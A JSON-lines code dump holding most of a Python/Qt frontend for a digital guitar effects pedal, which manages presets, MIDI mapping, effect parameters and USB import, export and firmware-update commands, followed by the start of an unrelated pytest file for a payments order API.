\"postreverb:Out Left\", \"postreverb:Out Right\", \"system:capture_2\", \"system:capture_4\",\n \"system:capture_3\", \"system:capture_5\", \"postcab:Out\"]\n available_port_models = dict({(k, QStringListModel()) for k in source_ports})\n used_port_models = dict({(k, QStringListModel()) for k in available_port_models.keys()})\n\n preset_list = []\n try:\n with open(\"/pedal_state/preset_list.json\") as f:\n preset_list = json.load(f)\n except:\n preset_list = [\"Akg eq ed\", \"Back at u\"]\n preset_list_model = QStringListModel(preset_list)\n\n def set_knob_current_effect(knob, effect, parameter):\n # get current value and update encoder / cache.\n knob_map[knob].effect = effect\n knob_map[knob].parameter = parameter\n\n def insert_row(model, row):\n j = len(model.stringList())\n model.insertRows(j, 1)\n model.setData(model.index(j), row)\n\n def remove_row(model, row):\n i = model.stringList().index(row)\n model.removeRows(i, 1)\n\n # preset map number to filename\n # playlists\n # add number + filename\n def jump_to_preset(is_inc, num):\n p_list = preset_list_model.stringList()\n if is_inc:\n current_preset.value = (current_preset.value + num) % len(p_list)\n else:\n if num < len(p_list):\n current_preset.value = num\n else:\n return\n load_preset(\"/presets/\"+p_list[current_preset.value]+\".json\")\n\n\n def save_preset(filename):\n # write all effect parameters\n output = {\"effects\":{}}\n output[\"midi_map\"] = {}\n for effect, parameters in effect_parameter_data.items():\n output[\"effects\"][effect] = {}\n # output[\"midi_map\"][effect] = {}\n for param_name, p_value in parameters.items():\n if param_name == \"ir\":\n output[\"effects\"][effect][param_name] = p_value.name\n else:\n output[\"effects\"][effect][param_name] = p_value.value\n if p_value.assigned_cc is not None:\n if effect not in output[\"midi_map\"]:\n output[\"midi_map\"][effect] = {}\n output[\"midi_map\"][effect][param_name] = p_value.assigned_cc\n # write enabled state\n output[\"state\"] = {k:v.value for k,v in plugin_state.items()}\n # write connections\n output[\"connections\"] = tuple(current_connection_pairs_poly)\n output[\"midi_connections\"] = tuple(current_midi_connection_pairs_poly)\n # write knob / midi mapping XXX\n output[\"knobs\"] = {k:[v.effect, v.parameter] for k,v in knob_map.items()}\n # write bpm\n output[\"bpm\"] = current_bpm.value\n output[\"delay_num_bars\"] = delay_num_bars.value\n with open(filename, \"w\") as f:\n json.dump(output, f)\n\n def load_preset(filename):\n preset = {}\n with open(filename) as f:\n preset = json.load(f)\n current_preset.name = os.path.splitext(os.path.basename(filename))[0]\n # read first as clips\n if \"delay_num_bars\" in preset:\n if preset[\"delay_num_bars\"] != delay_num_bars.value:\n delay_num_bars.value = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay1\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay2\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay3\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n effect_parameter_data[\"delay4\"][\"Delay_1\"].rmax = preset[\"delay_num_bars\"]\n else:\n delay_num_bars.value = 2\n effect_parameter_data[\"delay1\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay2\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay3\"][\"Delay_1\"].rmax = 2\n effect_parameter_data[\"delay4\"][\"Delay_1\"].rmax = 2\n\n # read all effect parameters\n for effect_name, effect_value in preset[\"effects\"].items():\n for parameter_name, parameter_value in effect_value.items():\n # update changed\n if parameter_name == \"ir\":\n if effect_parameter_data[effect_name][parameter_name].name != parameter_value:\n knobs.update_ir(effect_name == \"reverb\", parameter_value)\n else:\n if effect_parameter_data[effect_name][parameter_name].value != parameter_value:\n # print(\"loading parameter\", effect_name, parameter_name, parameter_value)\n knobs.ui_knob_change(effect_name, parameter_name, parameter_value)\n # remove all existing MIDI mapping\n if effect_parameter_data[effect_name][parameter_name].assigned_cc is not None:\n knobs.unmap_parameter(effect_name, parameter_name)\n for effect_name, effect_value in preset[\"midi_map\"].items():\n for parameter_name, parameter_value in effect_value.items():\n send_core_message(\"map_parameter_cc\", (effect_name, parameter_name, parameter_value, False))\n effect_parameter_data[effect_name][parameter_name].assigned_cc = parameter_value\n # read enabled state\n for effect, is_active in preset[\"state\"].items():\n if effect == \"global\":\n pass\n else:\n send_core_message(\"set_active\", (effect, is_active))\n plugin_state[effect].value = is_active\n # read connections\n # preset_con_list = []\n # for conn in preset[\"connections\"]:\n # if conn[0] == \"system:capture_2\":\n # preset_con_list.append((\"balance1:Out Left\", conn[1]))\n # else:\n # preset_con_list.append(tuple(conn))\n preset_connections = set([tuple(a) for a in preset[\"connections\"]])\n # preset_connections = set(preset_con_list)\n # remove connections that aren't in the new preset\n for source_port, target_port in (current_connection_pairs_poly-preset_connections):\n effect, source_p = source_port.split(\":\")\n knobs.ui_remove_connection(effect, source_p, target_port)\n # add connections that are in the new preset but not the old\n for source_port, target_port in (preset_connections - current_connection_pairs_poly):\n effect, source_p = source_port.split(\":\")\n knobs.ui_add_connection(effect, source_p, target_port)\n midi_connections = set([(tuple(a[0]), tuple(a[1])) for a in preset[\"midi_connections\"]])\n for source_pair, target_pair in midi_connections:\n send_core_message(\"add_connection_pair\", (source_pair, target_pair))\n global current_midi_connection_pairs_poly\n current_midi_connection_pairs_poly = midi_connections\n # read knob mapping\n for knob, mapping in preset[\"knobs\"].items():\n send_core_message(\"map_parameter\", (knob, mapping[0], mapping[1]))\n # read bpm\n if current_bpm.value != preset[\"bpm\"]:\n current_bpm.value = preset[\"bpm\"]\n send_core_message(\"set_bpm\", (preset[\"bpm\"], ))\n\n\n class Knobs(QObject):\n \"\"\"Basically all functions for QML to call\"\"\"\n\n def __init__(self):\n QObject.__init__(self)\n self.waitingval = \"\"\n\n @Slot(str, str, 'double')\n def ui_knob_change(self, effect_name, parameter, value):\n # print(x, y, z)\n if (effect_name in effect_parameter_data) and (parameter in effect_parameter_data[effect_name]):\n effect_parameter_data[effect_name][parameter].value = value\n send_core_message(\"knob_change\", (effect_name, parameter, value))\n else:\n print(\"effect not found\")\n\n @Slot(str, str, str)\n def ui_add_connection(self, effect, source_port, x, midi=False):\n effect_source = effect + \":\" + source_port\n if not midi:\n remove_row(available_port_models[effect_source], x)\n insert_row(used_port_models[effect_source], x)\n current_connection_pairs_poly.add((effect_source, x))\n # print(\"portMap is\", portMap)\n send_core_message(\"add_connection\", (effect, source_port, x))\n\n @Slot(str, str, str)\n def ui_remove_connection(self, effect, source_port, x):\n effect_source = effect + \":\" + source_port\n remove_row(used_port_models[effect_source], x)\n insert_row(available_port_models[effect_source], x)\n current_connection_pairs_poly.remove((effect_source, x))\n\n send_core_message(\"remove_connection\", (effect, source_port, x))\n\n @Slot(str)\n def toggle_enabled(self, effect):\n # print(\"toggling\", effect)\n is_active = not plugin_state[effect].value\n plugin_state[effect].value = is_active\n send_core_message(\"toggle_enabled\", (effect, ))\n\n @Slot(str)\n def set_bypass_type(self, t):\n print(\"setting bypass type\", t)\n send_core_message(\"set_bypass_type\", (t, ))\n\n @Slot(bool, str)\n def update_ir(self, is_reverb, ir_file):\n # print(\"updating ir\", ir_file)\n current_ir_file = ir_file[7:] # strip file:// prefix\n # cause call file callback\n # by calling show GUI\n # TODO queue reverb loading for presets\n if is_reverb:\n # kill existing jconvolver\n # write jconvolver file\n # start jconvolver\n if is_loading[\"reverb\"].value:\n return\n is_loading[\"reverb\"].value = True\n effect_parameter_data[\"reverb\"][\"ir\"].name = ir_file\n # host.show_custom_ui(pluginMap[\"reverb\"], True)\n start_jconvolver.generate_reverb_conf(current_ir_file)\n # host.set_program(pluginMap[\"reverb\"], 0)\n else:\n if is_loading[\"cab\"].value:\n return\n is_loading[\"cab\"].value = True\n effect_parameter_data[\"cab\"][\"ir\"].name = ir_file\n start_jconvolver.generate_cab_conf(current_ir_file)\n\n\n\n @Slot(str, str)\n def map_parameter(self, effect_name, parameter):\n if self.waiting == \"left\" or self.waiting == \"right\":\n # mapping and encoder\n set_knob_current_effect(self.waiting, effect_name, parameter)\n send_core_message(\"map_parameter\", (self.waiting, effect_name, parameter,\n effect_parameter_data[effect_name][parameter].rmin,\n effect_parameter_data[effect_name][parameter].rmax))\n # print(\"mapping knob core\")\n else:\n # we're mapping to LFO\n # print(\"mapping lfo frontend\")\n send_core_message(\"map_parameter_to_lfo\", (self.waiting, effect_name, parameter, effect_parameter_data[self.waiting][\"cc_num\"].value))\n # connect ports\n effect_parameter_data[effect_name][parameter].assigned_cc = effect_parameter_data[self.waiting][\"cc_num\"].value\n current_midi_connection_pairs_poly.add(((self.waiting, \"events-out\"), (effect_name, \"events-in\")))\n self.waiting = \"\"\n\n @Slot(str, str)\n def unmap_parameter(self, effect_name, parameter):\n send_core_message(\"unmap_parameter\", (effect_name, parameter))\n effect_parameter_data[effect_name][parameter].assigned_cc = None\n\n @Slot(str, str, int)\n def map_parameter_cc(self, effect_name, parameter, cc):\n send_core_message(\"map_parameter_cc\", (effect_name, parameter, cc))\n effect_parameter_data[effect_name][parameter].assigned_cc = cc\n current_midi_connection_pairs_poly.add(((\"ttymidi\", \"MIDI_in\"), (effect_name, \"events-in\")))\n\n @Slot(str)\n def set_waiting(self, knob):\n # print(\"waiting\", knob)\n self.waiting = knob\n\n def readWaiting(self):\n return self.waitingval\n\n def setWaiting(self,val):\n self.waitingval = val\n self.waiting_changed.emit()\n\n @Signal\n def waiting_changed(self):\n pass\n\n waiting = Property(str, readWaiting, setWaiting, notify=waiting_changed)\n\n @Slot(str)\n def ui_save_preset(self, preset_name):\n # print(\"saving\", preset_name)\n # TODO add folders\n outfile = \"/presets/\"+preset_name+\".json\"\n current_preset.name = preset_name\n save_preset(outfile)\n\n @Slot(str)\n def ui_load_preset_by_name(self, preset_file):\n # print(\"loading\", preset_file)\n outfile = preset_file[7:] # strip file:// prefix\n load_preset(outfile)\n update_counter.value+=1\n\n @Slot()\n def ui_copy_irs(self):\n # print(\"copy irs from USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command_reverb = \"\"\"cd /media/reverbs; find . -iname \"*.wav\" -type f -exec sh -c 'test $(soxi -r \"$0\") = \"48000\"' {} \\; -print0 | xargs -0 cp --target-directory=/audio/reverbs --parents\"\"\"\n command_cab = \"\"\"cd /media/cabs; find . -iname \"*.wav\" -type f -exec sh -c 'test $(soxi -r \"$0\") = \"48000\"' {} \\; -print0 | xargs -0 cp --target-directory=/audio/cabs --parents\"\"\"\n # copy all wavs in /usb/reverbs and /usr/cabs to /audio/reverbs and /audio/cabs\n command_status[0].value = -1\n command_status[1].value = -1\n command_status[0].value = subprocess.call(command_reverb, shell=True)\n command_status[1].value = subprocess.call(command_cab, shell=True)\n\n @Slot()\n def import_presets(self):\n # print(\"copy presets from USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"cd /media/presets; find . -iname \"*.json\" -type f -print0 | xargs -0 cp --target-directory=/presets --parents\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def export_presets(self):\n # print(\"copy presets to USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"cd /presets; mkdir -p /media/presets; find . -iname \"*.json\" -type f -print0 | xargs -0 cp --target-directory=/media/presets --parents;sudo umount /media\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def copy_logs(self):\n # print(\"copy presets to USB\")\n # could convert any that aren't 48khz.\n # instead we just only copy ones that are\n command = \"\"\"mkdir -p /media/logs; sudo cp /var/log/syslog /media/logs/;sudo umount /media\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot()\n def ui_update_firmware(self):\n # print(\"Updating firmware\")\n # dpkg the debs in the folder\n command = \"\"\"sudo dpkg -i /media/*.deb\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n\n @Slot(bool)\n def enable_ableton_link(self, enable):\n extra = \":link:\" if enable else \"\"\n host.transportExtra = extra\n host.set_engine_option(ENGINE_OPTION_TRANSPORT_MODE,\n host.transportMode,\n host.transportExtra)\n\n @Slot(int)\n def set_channel(self, channel):\n args = []\n for effect, parameters in effect_parameter_data.items():\n for param_name, p_value in parameters.items():\n if p_value.assigned_cc is not None:\n args.append((pluginMap[effect], parameterMap[effect][param_name]))\n\n send_core_message(\"set_channel\", (channel, args))\n midi_channel.value = channel\n pedal_state[\"midi_channel\"] = channel\n write_pedal_state()\n\n @Slot(int)\n def set_input_level(self, level, write=True):\n command = \"amixer -- sset ADC1 \"+str(level)+\"db\"\"\"\n command_status[0].value = subprocess.call(command, shell=True)\n if write:\n pedal_state[\"input_level\"] = level\n write_pedal_state()\n\n @Slot(int)\n def set_preset_list_length(self, v):\n if v > len(preset_list_model.stringList()):\n # print(\"inserting new row in preset list\", v)\n insert_row(preset_list_model, \"Default Preset\")\n else:\n # print(\"removing row in preset list\", v)\n preset_list_model.removeRows(v, 1)\n\n @Slot(int, str)\n def map_preset(self, v, name):\n current_name = name[16:-5] # strip file://presets/ prefix\n preset_list_model.setData(preset_list_model.index(v), current_name)\n\n @Slot()\n def save_preset_list(self):\n with open(\"/pedal_state/preset_list.json\", \"w\") as f:\n json.dump(preset_list_model.stringList(), f)\n\n def add_ports(port):\n source_ports_self = {\"sigmoid1:Output\":\"delay1\", \"delay2:out0\":\"delay2\",\n \"delay3:out0\": \"delay3\", \"delay4:out0\": \"delay4\",\n \"postreverb:Out Left\":\"eq2\", \"postreverb:Out Right\":\"eq2\",\n \"system:capture_2\":\"system\", \"system:capture_4\":\"system\",\n \"system:capture_3\":\"system\", \"system:capture_5\":\"system\",\n \"postcab:Out\":\"cab\"}\n for k, model in available_port_models.items():\n if source_ports_self[k] == \"system\" or source_ports_self[k] != output_port_names[port][0]:\n # print(\"add_port\", k, port)\n insert_row(model, port)\n\n def process_ui_messages():\n # pop from queue\n try:\n while not EXIT_PROCESS[0]:\n m = ui_messages.get(block=False)\n # print(\"got ui message\", m)\n if m[0] == \"is_loading\":\n # print(\"setting is loading is process_ui\")\n is_loading[m[1][0]].value = False\n elif m[0] == \"value_change\":\n # print(\"got value change in process_ui\")\n effect_name, parameter, value = m[1]\n if (effect_name in effect_parameter_data) and (parameter in effect_parameter_data[effect_name]):\n effect_parameter_data[effect_name][parameter].value = value\n elif m[0] == \"bpm_change\":\n current_bpm.value = m[1][0]\n elif m[0] == \"set_plugin_state\":\n plugin_state[m[1][0]].value = m[1][1]\n elif m[0] == \"add_port\":\n add_ports(m[1][0])\n elif m[0] == \"jump_to_preset\":\n jump_to_preset(m[1][0], m[1][1])\n elif m[0] == \"exit\":\n # global EXIT_PROCESS\n EXIT_PROCESS[0] = True\n except queue.Empty:\n pass\n\n def write_pedal_state():\n with open(\"/pedal_state/state.json\", \"w\") as f:\n json.dump(pedal_state, f)\n\n\n lfos = []\n\n\n for n in range(1):\n lfos.append({})\n lfos[n][\"num_points\"] = PolyValue(\"num_points\", 1, 1, 16)\n lfos[n][\"channel\"] = PolyValue(\"channel\", 1, 1, 16)\n lfos[n][\"cc_num\"] = PolyValue(\"cc_num\", 102+n, 0, 127)\n for i in range(1,17):\n lfos[n][\"time\"+str(i)] = PolyValue(\"time\"+str(i), 0, 0, 1)\n lfos[n][\"value\"+str(i)] = PolyValue(\"value\"+str(i), 0, 0, 1)\n lfos[n][\"style\"+str(i)] = PolyValue(\"style\"+str(i), 0, 0, 5)\n\n # this is not great\n\n effect_parameter_data = {\"delay1\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay2\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay3\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"delay4\": {\"BPM_0\" : PolyValue(\"BPM_0\", 120.000000, 30.000000, 300.000000),\n \"Delay_1\" : PolyValue(\"Time\", 0.500000, 0.001000, 1.000000),\n \"Warp_2\" : PolyValue(\"Warp\", 0.000000, -1.000000, 1.000000),\n \"DelayT60_3\" : PolyValue(\"Glide\", 0.500000, 0.000000, 100.000000),\n \"Feedback_4\" : PolyValue(\"Feedback\", 0.300000, 0.000000, 1.000000),\n \"Amp_5\" : PolyValue(\"Level\", 0.500000, 0.000000, 1.000000),\n \"FeedbackSm_6\" : PolyValue(\"Tone\", 0.000000, 0.000000, 1.000000),\n \"EnableEcho_7\" : PolyValue(\"EnableEcho_7\", 1.000000, 0.000000, 1.000000),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"reverb\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"ir\": PolyValue(\"/audio/reverbs/emt_140_dark_1.wav\", 0, 0, 1),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"postreverb\": {\"routing\": PolyValue(\"gain\", 6, 0, 6), \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"mixer\": {\"mix_1_1\": PolyValue(\"mix 1,1\", 1, 0, 1), \"mix_1_2\": PolyValue(\"mix 1,2\", 0, 0, 1),\n \"mix_1_3\": PolyValue(\"mix 1,3\", 0, 0, 1),\"mix_1_4\": PolyValue(\"mix 1,4\", 0, 0, 1),\n \"mix_2_1\": PolyValue(\"mix 2,1\", 0, 0, 1),\"mix_2_2\": PolyValue(\"mix 2,2\", 1, 0, 1),\n \"mix_2_3\": PolyValue(\"mix 2,3\", 0, 0, 1),\"mix_2_4\": PolyValue(\"mix 2,4\", 0, 0, 1),\n \"mix_3_1\": PolyValue(\"mix 3,1\", 0, 0, 1),\"mix_3_2\": PolyValue(\"mix 3,2\", 0, 0, 1),\n \"mix_3_3\": PolyValue(\"mix 3,3\", 1, 0, 1),\"mix_3_4\": PolyValue(\"mix 3,4\", 0, 0, 1),\n \"mix_4_1\": PolyValue(\"mix 4,1\", 0, 0, 1),\"mix_4_2\": PolyValue(\"mix 4,2\", 0, 0, 1),\n \"mix_4_3\": PolyValue(\"mix 4,3\", 0, 0, 1),\"mix_4_4\": PolyValue(\"mix 4,4\", 1, 0, 1)\n },\n \"tape1\": {\"drive\": PolyValue(\"drive\", 5, 0, 10), \"blend\": PolyValue(\"tape vs tube\", 10, -10, 10)},\n # \"filter1\": {\"freq\": PolyValue(\"cutoff\", 440, 20, 15000, \"log\"), \"res\": PolyValue(\"resonance\", 0, 0, 0.8)},\n \"sigmoid1\": {\"Pregain\": PolyValue(\"pre gain\", 0, -90, 20), \"Postgain\": PolyValue(\"post gain\", 0, -90, 20)},\n \"reverse1\": {\"fragment\": PolyValue(\"fragment\", 1000, 100, 1600),\n \"wet\": PolyValue(\"wet\", 0, -90, 20),\n \"dry\": PolyValue(\"dry\", 0, -90, 20)},\n # \"reverse2\": {\"fragment\": PolyValue(\"fragment\", 1000, 100, 1600),\n # \"wet\": PolyValue(\"wet\", 0, -90, 20),\n # \"dry\": PolyValue(\"dry\", 0, -90, 20)},\n \"eq2\": {\n \"enable\": PolyValue(\"Enable\", 1.000000, 0.000000, 1.0),\n \"gain\": PolyValue(\"Gain\", 0.000000, -18.000000, 18.000000),\n \"HighPass\": PolyValue(\"Highpass\", 0.000000, 0.000000, 1.000000),\n \"HPfreq\": PolyValue(\"Highpass Frequency\", 20.000000, 5.000000, 1250.000000),\n \"HPQ\": PolyValue(\"HighPass Resonance\", 0.700000, 0.000000, 1.400000),\n \"LowPass\": PolyValue(\"Lowpass\", 0.000000, 0.000000, 1.000000),\n \"LPfreq\": PolyValue(\"Lowpass Frequency\", 20000.000000, 500.000000, 20000.000000),\n \"LPQ\": PolyValue(\"LowPass Resonance\", 1.000000, 0.000000, 1.400000),\n \"LSsec\": PolyValue(\"Lowshelf\", 1.000000, 0.000000, 1.000000),\n \"LSfreq\": PolyValue(\"Lowshelf Frequency\", 80.000000, 25.000000, 400.000000),\n \"LSq\": PolyValue(\"Lowshelf Bandwidth\", 1.000000, 0.062500, 4.000000),\n \"LSgain\": PolyValue(\"Lowshelf Gain\", 0.000000, -18.000000, 18.000000),\n \"sec1\": PolyValue(\"Section 1\", 1.000000, 0.000000, 1.000000),\n \"freq1\": PolyValue(\"Frequency 1\", 160.000000, 20.000000, 2000.000000),\n \"q1\": PolyValue(\"Bandwidth 1\", 0.600000, 0.062500, 4.000000),\n \"gain1\": PolyValue(\"Gain 1\", 0.000000, -18.000000, 18.000000),\n \"sec2\": PolyValue(\"Section 2\", 1.000000, 0.000000, 1.000000),\n \"freq2\": PolyValue(\"Frequency 2\", 397.000000, 40.000000, 4000.000000),\n \"q2\": PolyValue(\"Bandwidth 2\", 0.600000, 0.062500, 4.000000),\n \"gain2\": PolyValue(\"Gain 2\", 0.000000, -18.000000, 18.000000),\n \"sec3\": PolyValue(\"Section 3\", 1.000000, 0.000000, 1.000000),\n \"freq3\": PolyValue(\"Frequency 3\", 1250.000000, 100.000000, 10000.000000),\n \"q3\": PolyValue(\"Bandwidth 3\", 0.600000, 0.062500, 4.000000),\n \"gain3\": PolyValue(\"Gain 3\", 0.000000, -18.000000, 18.000000),\n \"sec4\": PolyValue(\"Section 4\", 1.000000, 0.000000, 1.000000),\n \"freq4\": PolyValue(\"Frequency 4\", 2500.000000, 200.000000, 20000.000000),\n \"q4\": PolyValue(\"Bandwidth 4\", 0.600000, 0.062500, 4.000000),\n \"gain4\": PolyValue(\"Gain 4\", 0.000000, -18.000000, 18.000000),\n \"HSsec\": PolyValue(\"Highshelf\", 1.000000, 0.000000, 1.000000),\n \"HSfreq\": PolyValue(\"Highshelf Frequency\", 8000.000000, 1000.000000, 16000.000000),\n \"HSq\": PolyValue(\"Highshelf Bandwidth\", 1.000000, 0.062500, 4.000000),\n \"HSgain\": PolyValue(\"Highshelf Gain\", 0.000000, -18.000000, 18.000000)},\n \"cab\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"ir\": PolyValue(\"/audio/cabs/1x12cab.wav\", 0, 0, 1),\n \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"postcab\": {\"gain\": PolyValue(\"gain\", 0, -90, 24), \"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n \"lfo1\": lfos[0],\n # \"lfo2\": lfos[1],\n # \"lfo3\": lfos[2],\n # \"lfo4\": lfos[3],\n \"mclk\": {\"carla_level\": PolyValue(\"level\", 1, 0, 1)},\n }\n\n knob_map = {\"left\": PolyEncoder(\"delay1\", \"Delay_1\"), \"right\": PolyEncoder(\"delay1\", \"Feedback_4\")}\n\n all_effects = [(\"delay1\", True), (\"delay2\", True), (\"delay3\", True),\n (\"delay4\", True), (\"reverb\", True), (\"postreverb\", True), (\"mixer\", True),\n (\"tape1\", False), (\"reverse1\", False),\n (\"sigmoid1\", False), (\"eq2\", True), (\"cab\", True), (\"postcab\", True)]\n plugin_state = dict({(k, PolyBool(initial)) for k, initial in all_effects})\n plugin_state[\"global\"] = PolyBool(True)\n current_connection_pairs_poly = set()\n current_midi_connection_pairs_poly = set()\n\n # Instantiate the Python object.\n knobs = Knobs()\n # read persistant state\n pedal_state = {}\n with open(\"/pedal_state/state.json\") as f:\n pedal_state = json.load(f)\n current_bpm = PolyValue(\"BPM\", 120, 30, 250) # bit of a hack\n current_preset = PolyValue(\"Default Preset\", 0, 0, 127)\n update_counter = PolyValue(\"update counter\", 0, 0, 500000)\n command_status = [PolyValue(\"command status\", -1, -10, 100000), PolyValue(\"command status\", -1, -10, 100000)]\n delay_num_bars = PolyValue(\"Num bars\", 1, 1, 16)\n midi_channel = PolyValue(\"channel\", pedal_state[\"midi_channel\"], 1, 16)\n input_level = PolyValue(\"input level\", pedal_state[\"input_level\"], -80, 10)\n knobs.set_input_level(pedal_state[\"input_level\"], write=False)\n is_loading = {\"reverb\":PolyBool(False), \"cab\":PolyBool(False)}\n # global ui_messages, core_messages\n ui_messages = ui_mess\n core_messages = core_mess\n app = QGuiApplication(sys.argv)\n QIcon.setThemeName(\"digit\")\n qmlEngine = QQmlApplicationEngine()\n # Expose the object to QML.\n context = qmlEngine.rootContext()\n for k, v in available_port_models.items():\n context.setContextProperty(k.replace(\" \", \"_\").replace(\":\", \"_\")+\"AvailablePorts\", v)\n for k, v in used_port_models.items():\n context.setContextProperty(k.replace(\" \", \"_\").replace(\":\", \"_\")+\"UsedPorts\", v)\n context.setContextProperty(\"knobs\", knobs)\n context.setContextProperty(\"polyValues\", effect_parameter_data)\n context.setContextProperty(\"knobMap\", knob_map)\n context.setContextProperty(\"currentBPM\", current_bpm)\n context.setContextProperty(\"pluginState\", plugin_state)\n context.setContextProperty(\"currentPreset\", current_preset)\n context.setContextProperty(\"updateCounter\", update_counter)\n context.setContextProperty(\"commandStatus\", command_status)\n context.setContextProperty(\"delayNumBars\", delay_num_bars)\n context.setContextProperty(\"midiChannel\", midi_channel)\n context.setContextProperty(\"isLoading\", is_loading)\n context.setContextProperty(\"inputLevel\", input_level)\n context.setContextProperty(\"presetList\", preset_list_model)\n\n # engine.load(QUrl(\"qrc:/qml/digit.qml\"))\n qmlEngine.load(QUrl(\"qml/digit.qml\"))\n ######### UI is setup\n def signalHandler(sig, frame):\n if sig in (SIGINT, SIGTERM):\n # print(\"frontend got signal\")\n # global EXIT_PROCESS\n EXIT_PROCESS[0] = True\n signal(SIGINT, signalHandler)\n signal(SIGTERM, signalHandler)\n\n initial_preset = False\n while not EXIT_PROCESS[0]:\n app.processEvents()\n process_ui_messages()\n sleep(0.01)\n if not initial_preset:\n load_preset(\"/presets/Default Preset.json\")\n update_counter.value+=1\n initial_preset = True\n\n # print(\"exiting frontend\")\n exit(1)\n","repo_name":"polyeffects/digit_carla","sub_path":"UI/digit_frontend.py","file_name":"digit_frontend.py","file_ext":"py","file_size_in_byte":35801,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"167943899","text":"from datetime import datetime\nfrom decimal import Decimal\nfrom itertools import chain\n\nimport pytest\nfrom multidict import MultiDict\n\nfrom sendr_utils import enum_value, json_value, utcnow\n\nfrom hamcrest import all_of, assert_that, contains_inanyorder, equal_to, has_entries, has_entry, has_key, not_\n\nfrom mail.payments.payments.api.schemas.base import CURRENCY_RUB\nfrom mail.payments.payments.core.entities.enums import (\n NDS, PAY_METHOD_OFFLINE, PAY_METHODS, PAYMETHOD_ID_OFFLINE, OrderKind, OrderSource, PayStatus, RefundStatus,\n ShopType\n)\nfrom mail.payments.payments.tests.base import BaseTestOrder, BaseTestOrderList\nfrom mail.payments.payments.tests.utils import strip_fields\nfrom mail.payments.payments.utils.helpers import without_none\n\n\nclass TestOrderGet(BaseTestOrder):\n @pytest.fixture\n def with_refunds(self, randbool):\n return randbool()\n\n @pytest.fixture\n def with_timeline(self, randbool):\n return randbool()\n\n @pytest.fixture\n def params(self, with_refunds, with_timeline):\n return {\n 'with_refunds': str(with_refunds).lower(),\n 'with_timeline': str(with_timeline).lower(),\n }\n\n @pytest.fixture\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.get import GetOrderServiceMerchantAction\n return mock_action(GetOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.get import GetOrderAction\n return mock_action(GetOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, params, payments_client, order, test_data):\n return await payments_client.get(test_data['path'], params=params)\n\n def test_context(self, order, with_refunds, with_timeline, internal_api, crypto_mock, response, action, test_data):\n test_data['context'].update({\n 'with_customer_subscription': True,\n 'select_customer_subscription': None,\n })\n if internal_api:\n test_data['context'].update({'with_refunds': with_refunds})\n else:\n test_data['context'].update({'with_timeline': with_timeline})\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestOrderPut(BaseTestOrder):\n @pytest.fixture(params=('active', 'order'))\n def mode(self, request):\n return request.param\n\n @pytest.fixture(params=(True, False))\n def active(self, request):\n return request.param\n\n 